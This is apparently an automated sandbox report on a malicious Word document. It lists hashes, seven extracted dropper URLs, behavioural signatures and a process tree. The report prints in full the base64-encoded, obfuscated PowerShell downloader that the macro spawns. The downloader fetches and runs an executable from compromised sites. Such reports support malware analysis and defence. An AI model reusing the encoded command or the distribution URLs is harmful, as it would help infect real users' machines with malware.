Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    04/05/2024, 02:12

General

  • Target

    11354093da2872faeba9c60e9a9cd839_JaffaCakes118.doc

  • Size

    171KB

  • MD5

    11354093da2872faeba9c60e9a9cd839

  • SHA1

    b934ebf510e655c67c4e4d6ee8b5a987272ac3fd

  • SHA256

    c676f40df939ef32b19cfcd36138370ce7ed85e33cfa4e744be20734235ef2ca

  • SHA512

    cd41f04b033cae7330494fa0242d750b73c6f72c6cf569bedc53996b028cfbf0261d5c448e847b06d0312963f88b452623f650c491e3a94065cb0ac79d3c24b3

  • SSDEEP

    1536:AGGGGGGGGGG2xJLEt+LaaGGGGGGGGGGjLo9xiP340Vzy7dUWqHe43d9T96aEH5i+:yrfrzOH98ipgUPLQaq/v

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://geevida.com/wp-admin/DhWo/

exe.dropper

http://elrofanfoods.com/wp-admin/qc/

exe.dropper

https://volcanict.com/wp-admin/LfWFF/

exe.dropper

http://xmjadever.com/wp-admin/FTOXI/

exe.dropper

https://gbmcleaning.com/1/Gdk5eqv/

exe.dropper

https://kingchuen.com/cgi-bin/KQ/

exe.dropper

https://billc46.com/uf65/H4/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\11354093da2872faeba9c60e9a9cd839_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1624
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2008
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -encod JABFAF8AOQBqAGEAcwBoAD0AKAAnAEcAJwArACcANwAnACsAKAAnADMAYwB6ADYAJwArACcAOAAnACkAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgBWADoAdQBTAGUAcgBQAFIAbwBmAGkATABFAFwARgBzAFoANQBlADIAVwBcAFoAVgBGADcAaQB6AE8AXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBDAHQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAFUAUgBJAGAAVABZAHAAYABSAG8AYABUAE8AQwBvAGwAIgAgAD0AIAAoACcAdABsACcAKwAoACcAcwAnACsAJwAxADIAJwApACsAKAAnACwAIAAnACsAJwB0ACcAKQArACgAJwBsAHMAJwArACcAMQAxACcAKQArACgAJwAsACAAdABsACcAKwAnAHMAJwApACkAOwAkAE4AMwA3AHAAdQA3AGYAIAA9ACAAKAAnAFcAYQAnACsAKAAnAHEAJwArACcAaQBoAG8AJwApACsAJwBrADcAJwApADsAJABGADUAaABnADYANQA1AD0AKAAoACcAVQBpAHUAMAAnACsAJwA4ACcAKQArACcAZQAxACcAKQA7ACQAUQBmAGgANQAzAGwAMQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAfQBGACcAKwAnAHMAJwArACgAJwB6ADUAZQAnACsAJwAyACcAKQArACcAdwB7ADAAfQBaACcAKwAnAHYAZgA3AGkAegBvAHsAJwArACcAMAB9ACcAKQAtAGYAIAAgAFsAQwBoAEEAcgBdADkAMgApACsAJABOADMANwBwAHUANwBmACsAKAAoACcALgBlACcAKwAnAHgAJwApACsAJwBlACcAKQA7ACQAVgB2AGoAMAB0AGsAZgA9ACgAKAAnAE4AYQAnACsAJwBoAGoAZgAnACkAKwAnADcAMwAnACkAOwAkAFoAbwBvAHUAcABpAG0APQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQBUAC4AVwBlAEIAQwBMAGkARQBuAFQAOwAkAEUAMAA4AGwANgB2AGsAPQAoACgAJwBoAHQAJwArACcAdABwADoAJwApACsAKAAnAC8ALwAnACsAJwBnACcAKQArACcAZQBlACcAKwAoACcAdgAnACsAJwBpAGQAJwApACsAKAAnAGEALgBjAG8AbQAvACcAKwAnAHcAJwApACsAKAAnAHAAJwArACcALQBhAGQAJwApACsAKAAnAG0AaQAnACsAJwBuAC8AJwApACsAKAAnAEQAaAAnACsAJwBXAG8AJwArACcALwAqACcAKQArACgAJwBoAHQAJwArACcAdAAnACkAKwAoACcAcAA6AC8AJwArACcALwBlACcAKQArACcAbAAnACsAKAAnAHIAbwAnACsAJwBmAGEAbgBmAG8AbwBkAHMAJwArACcALgAnACkAKwAoACcAYwBvAG0ALwAnACsAJwB3ACcAKQArACgAJwBwACcAKwAnAC0AYQAnACkAKwAoACcAZAAnACsAJwBtACcAKwAnAGkAbgAvAHEAYwAnACkAKwAnAC8AJwArACcAKgBoACcAKwAnAHQAJwArACcAdAAnACsAKAAnAHAAcwA6AC8ALwAnACsAJwB2AG8AbABjACcAKQArACgAJwBhACcAKwAnAG4AaQAnACkAKwAoACcAYwB0ACcAKwAnAC4AYwBvACcAKQArACgAJwBtACcAKwAnAC8AJwArACcAdwBwAC0AYQAnACsAJwBkAG0AaQBuAC8AJwArACcATABmAFcARgAnACkAKwAoACcARgAnACsAJwAvACoAaAB0AHQAJwArACcAcAA6AC8ALwB4ACcAKwAnAG0AagBhACcAKwAnAGQAZQB2AGUAcgAnACsAJwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAvAHcAcAAtACcAKwAnAGEAJwArACcAZABtAGkAJwArACcAbgAvAEYAJwApACsAJwBUAE8AJwArACgAJwBYAEkAJwArACcALwAqAGgAdAB0AHAAJwApACsAJwBzACcAKwAnADoAJwArACcALwAnACsAKAAnAC8AJwArACcAZwBiAG0AYwAnACsAJwBsACcAKQArACgAJwBlACcAKwAnAGEAbgAnACkAKwAoACcAaQBuAGcAJwArACcALgBjAG8AJwArACcAbQAnACsAJwAvADEAJwArACcALwBHACcAKwAnAGQAawAnACsAJwA1AGUAcQB2AC8AKgBoACcAKQArACgAJwB0AHQAJwArACcAcABzADoAJwApACsAJwAvACcAKwAnAC8AawAnACsAJwBpAG4AJwArACgAJwBnAGMAaAAnACsAJwB1ACcAKQArACcAZQBuACcAKwAoACcALgBjAG8AbQAvAGMAJwArACcAZwBpAC0AJwApACsAJwBiAGkAJwArACcAbgAvACcAKwAoACcASwAnACsAJwBRAC8AKgAnACkAKwAnAGgAJwArACgAJwB0AHQAcAAnACsAJwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwBiACcAKQArACcAaQAnACsAKAAnAGwAbABjADQANgAnACsAJwAuACcAKwAnAGMAbwBtAC8AJwArACcAdQBmADYAJwApACsAKAAnADUALwAnACsAJwBIADQAJwApACsAJwAvACcAKQAuACIAcwBQAEwAYABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABCAHoAMwB6AGEAegBvAD0AKAAnAFkAeQAnACsAKAAnADcAdwAnACsAJwBtACcAKQArACcAeQA5ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE0AYQBmAHkAMQA4AGgAIABpAG4AIAAkAEUAMAA4AGwANgB2AGsAKQB7AHQAcgB5AHsAJABaAG8AbwB1AHAAaQBtAC4AIgBkAGAATwB3AE4AYABMAE8AYABBAGQARgBpAGwAZQAiACgAJABNAGEAZgB5ADEAOABoACwAIAAkAFEAZgBoADUAMwBsADEAKQA7ACQAUwA5AG4ANQBhADgAYQA9ACgAKAAnAFIAJwArACcAdAB4ADUAJwApACsAKAAnAHcAJwArACcAdQBpACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0ACcAKwAnAGUAbQAnACkAIAAkAFEAZgBoADUAMwBsADEAKQAuACIAbABgAEUAbgBHAFQAaAAiACAALQBnAGUAIAAzADgAMwA1ADQAKQAgAHsALgAoACcASQBuAHYAbwAnACsAJwBrAGUALQBJACcAKwAnAHQAZQBtACcAKQAoACQAUQBmAGgANQAzAGwAMQApADsAJABXADgAaABtAGEAagBmAD0AKAAoACcARgBhADYAJwArACcAbwB0AGwAJwApACsAJwA3ACcAKQA7AGIAcgBlAGEAawA7ACQASAB1AGgAdAAwAHoAZgA9ACgAKAAnAFYAJwArACcAYQBzAGIAJwApACsAJwB1AHEAJwArACcAbwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFoAZwByADIAMgB2AHoAPQAoACgAJwBGACcAKwAnAHgAJwArACcANAA4AGYAdAAnACkAKwAnAGcAJwApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2444

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      3c5ebb8e508fb37265a52d71c8d61cff

      SHA1

      545616f0ec502d46f56574db728a8324faef985b

      SHA256

      e36d627e699691c1b3e81d135e822a256f8e952d4ae185a76a7672e0a790fc3b

      SHA512

      2631ca409952812f41e1fc9bc8759f9e90eb230eb82bbe585548735f482aa08720f097fddbd7e8beb3b17e20abe675acd9ad4915d090c0156ed30475454cb3c3

    • memory/1624-33-0x0000000005970000-0x0000000005A70000-memory.dmp

      Filesize

      1024KB

    • memory/1624-2-0x00000000713DD000-0x00000000713E8000-memory.dmp

      Filesize

      44KB

    • memory/1624-7-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/1624-6-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/1624-8-0x0000000006390000-0x0000000006490000-memory.dmp

      Filesize

      1024KB

    • memory/1624-9-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/1624-18-0x0000000005970000-0x0000000005A70000-memory.dmp

      Filesize

      1024KB

    • memory/1624-23-0x0000000005970000-0x0000000005A70000-memory.dmp

      Filesize

      1024KB

    • memory/1624-0-0x000000002F6E1000-0x000000002F6E2000-memory.dmp

      Filesize

      4KB

    • memory/1624-28-0x0000000005970000-0x0000000005A70000-memory.dmp

      Filesize

      1024KB

    • memory/1624-70-0x00000000713DD000-0x00000000713E8000-memory.dmp

      Filesize

      44KB

    • memory/1624-69-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1624-34-0x0000000005970000-0x0000000005A70000-memory.dmp

      Filesize

      1024KB

    • memory/1624-49-0x00000000713DD000-0x00000000713E8000-memory.dmp

      Filesize

      44KB

    • memory/1624-50-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/1624-52-0x0000000005970000-0x0000000005A70000-memory.dmp

      Filesize

      1024KB

    • memory/1624-53-0x0000000005970000-0x0000000005A70000-memory.dmp

      Filesize

      1024KB

    • memory/1624-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2444-41-0x0000000001F10000-0x0000000001F18000-memory.dmp

      Filesize

      32KB

    • memory/2444-40-0x000000001B510000-0x000000001B7F2000-memory.dmp

      Filesize

      2.9MB